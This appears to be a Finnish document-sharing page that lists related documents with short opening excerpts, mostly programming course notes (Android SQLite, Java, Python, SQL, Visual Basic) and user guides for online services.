Android ohjelmointi Tunti 5. SQLite, Cursor, Intent ja ADB Android ohjelmointi Tunti 5 SQLite, Cursor, Intent ja ADB SQLite Tuetut tietotyypit: NULL INTEGER kokonaisluku REAL Reaaliluku, float, desimaali. Tallennetaan 1-8 tavun tarkkuudella luvun suuruudesta riippien

Lisätiedot

Sähköisen äänestyksen pilotti

Sähköisen äänestyksen pilotti 08.02.2008 1 (26) Käyttötapausmalli Oikeusministeriö Vaalitietojärjestelmät 08.02.2008 2 (26) 1 Käyttötapaukset...3 1.1 Käyttötapaus: Vaalin perustaminen...4 1.1.1 Käyttötapauksen sanallinen kuvaus...4

Lisätiedot

INTINU13A6 Java sovellukset

INTINU13A6 Java sovellukset Johdanto Kurssin tavoitteena oli luoda tietokantaa käyttävä websovellus Java EE ohjelmointikielellä, sekä hyödyntää muun muassa servlettejä sekä JSP sivuja ja muita tekniikoita monipuolisesti. Webserverinä

Lisätiedot

SELECT-lauseen perusmuoto

SELECT-lauseen perusmuoto SQL: Tiedonhaku SELECT-lauseen perusmuoto SELECT FROM WHERE ; määrittää ne sarakkeet, joiden halutaan näkyvän kyselyn vastauksessa sisältää

Lisätiedot

Valtiokonttorin tunnistuspalvelu

Valtiokonttorin tunnistuspalvelu Tila Julkaistu Dok.nro Versio P Sivumäärä 18 Päiväys www.insta.fi Hallintatiedot Yleiset hallintatiedot Nimi Nimikirjoitus Päivämäärä Laatija Hyttinen Henna Tarkastaja Hyväksyjä Arkistoviite Versiohistoria

Lisätiedot

Mainosankkuri.fi-palvelun käyttöohjeita

Mainosankkuri.fi-palvelun käyttöohjeita Mainosankkuri.fi-palvelun käyttöohjeita Sisällys 1. Johdanto... 1 2. Sisäänkirjautuminen... 1 3. Palvelussa navigointi... 2 4. Laitteet... 2 5. Sisällönhallinta... 4 6. Soittolistat... 7 7. Aikataulut...

Lisätiedot

Sisällys. 7. Oliot ja viitteet. Olion luominen. Olio Java-kielessä

Sisällys. 7. Oliot ja viitteet. Olion luominen. Olio Java-kielessä Sisälls 7. Oliot ja viitteet Olio Java-kielessä. Olion luominen, elinikä ja tuhoutuminen.. Viitteiden vertailu. Varautuminen null-arvoon. Viite metodin paluuarvona.. Muuttumattomat ja muuttuvat merkkijonot.

Lisätiedot

NAVIGAATTORIN ASENNUS JA MUOKKAUS

NAVIGAATTORIN ASENNUS JA MUOKKAUS 1 NAVIGAATTORIN ASENNUS JA MUOKKAUS YLEISTÄ NAVIGAATTORIN KÄYTÖSSÄ... 2 NAVIGAATTORIN HAKEMINEN... 3 NAVIGAATTORIN KOPIOINTI OMALLE SAP-TUNNUKSELLE... 6 NAVIGAATTORIN MUOKKAUS ENNEN KÄYTTÖÖNOTTOA... 7

Lisätiedot

opiskelijan ohje - kirjautuminen

opiskelijan ohje - kirjautuminen opiskelijan ohje - kirjautuminen estudio on Edupolin kehittämä e-oppimisympäristö koulutusryhmän verkkoalustana perinteisen luokkaopetuksen tukena tai etäopiskelussa ja -opetuksessa kotoa tai työpaikalta.

Lisätiedot

Elisa Toimisto 365. Pääkäyttäjän pikaopas

Elisa Toimisto 365. Pääkäyttäjän pikaopas Elisa Toimisto 365 Pääkäyttäjän pikaopas Päivitetty 10/2016 Tämän pikaoppaan avulla pääset alkuun Elisa Toimisto 365 -palvelun käyttöönotossa. Lisää ohjeita löydät osoitteesta http://www.elisa.fi/toimisto365-ohjeet/

Lisätiedot

LOAD R1, =2 Sijoitetaan rekisteriin R1 arvo 2. LOAD R1, 100

LOAD R1, =2 Sijoitetaan rekisteriin R1 arvo 2. LOAD R1, 100 Tiedonsiirtokäskyt LOAD LOAD-käsky toimii jälkimmäisestä operandista ensimmäiseen. Ensimmäisen operandin pitää olla rekisteri, toinen voi olla rekisteri, vakio tai muistiosoite (myös muuttujat ovat muistiosoitteita).

Lisätiedot

Turnitin-ohjelma käyttö opettajana Turnitin.comissa

Turnitin-ohjelma käyttö opettajana Turnitin.comissa 1 Turnitin-ohjelma käyttö opettajana Turnitin.comissa Sisällys 1 Turnitin -ohjelman käyttö Turnitin.comissa 2 1 Turnitin käyttötilin luominen 2 2 Kielen vaihtaminen 4 3 Kurssityötilan luominen 4 4 Luokan

Lisätiedot

Apply-palvelu: maisterivalinnan koulutus laitoksille https://apply.aalto.fi. Mari Riihiaho

Apply-palvelu: maisterivalinnan koulutus laitoksille https://apply.aalto.fi. Mari Riihiaho Apply-palvelu: maisterivalinnan koulutus laitoksille https://apply.aalto.fi Mari Riihiaho 5.3.2012 Kirjautuminen ja käyttöoikeudet Järjestelmään kirjaudutaan Aalto tunnuksella (käyttäjätunnus ja salasana)

Lisätiedot

VANHEMPIEN KÄYTTÖLIITTYMÄN OHJEET

VANHEMPIEN KÄYTTÖLIITTYMÄN OHJEET VANHEMPIEN KÄYTTÖLIITTYMÄN OHJEET SISÄLLYSLUETTELO 1 SISÄÄNKIRJAUTUMINEN PÄIKKYYN 1 1.1 Käyttäjätunnuksen aktivointi 1 1.2 Sisäänkirjautuminen 2 1.3 Salasanan vaihtaminen 2 1.3.1 Vanhentuva salasana 2

Lisätiedot

Juricon Nettisivu Joomlan käyttöohjeet

Juricon Nettisivu Joomlan käyttöohjeet Juricon Nettisivu Joomlan käyttöohjeet Sisällysluettelo Julkaisujärjestelmä hallinta... 3 Joomla-järjestelmän ylävalikolla on seuraavia:... 3 Valikot... 4 Kategoriat ja artikkelit... 5 Lisäosat ja moduulien

Lisätiedot

Ohjelmoinnin perusteet Y Python

Ohjelmoinnin perusteet Y Python Ohjelmoinnin perusteet Y Python T-106.1208 15.2.2010 T-106.1208 Ohjelmoinnin perusteet Y 15.2.2010 1 / 46 Merkkijonot Merkkijonojen avulla ohjelmassa voi esittää tekstitietoa, esim. nimiä, osoitteita ja

Lisätiedot

Ohjelmoinnin peruskurssi Y1

Ohjelmoinnin peruskurssi Y1 Ohjelmoinnin peruskurssi Y1 CS-A1111 14.9.2016 CS-A1111 Ohjelmoinnin peruskurssi Y1 14.9.2016 1 / 19 Oppimistavoitteet: tämän luennon jälkeen osaat kirjoittaa Python-ohjelman, joka pyytää käyttäjältä lukuja,

Lisätiedot

Sonera Viestintäpalvelu VIP

Sonera Viestintäpalvelu VIP Sonera Viestintäpalvelu VIP Loma- ja Poissaoloviestitoiminnallisuuden käyttöopas v 1.2 Toiminnallisuuden kuvaus Poissaoloviestin aktivoit päälle suorittamalla seuraavat toimenpiteet: Valitse aktiviteetiksesi

Lisätiedot

Muuttujatyypit ovat Boolean, Byte, Integer, Long, Double, Currency, Date, Object, String, Variant (oletus)

Muuttujatyypit ovat Boolean, Byte, Integer, Long, Double, Currency, Date, Object, String, Variant (oletus) VISUAL BASIC OHJEITA Kutsuttava ohjelma alkaa kometoparilla Sub... End Sub Sub ohjelmanimi()...koodia... End Sub Muuttujat Muuttujan esittely Muuttujatyypit ovat Boolean, Byte, Integer, Long, Double, Currency,

Lisätiedot

List-luokan soveltamista. Listaan lisääminen Listan läpikäynti Listasta etsiminen Listan sisällön muuttaminen Listasta poistaminen Listan kopioiminen

List-luokan soveltamista. Listaan lisääminen Listan läpikäynti Listasta etsiminen Listan sisällön muuttaminen Listasta poistaminen Listan kopioiminen 1 List-luokan soveltamista List-luokan metodeja Listaan lisääminen Listan läpikäynti Listasta etsiminen Listan sisällön muuttaminen Listasta poistaminen Listan kopioiminen 1 List-luokan metodeja List-luokan

Lisätiedot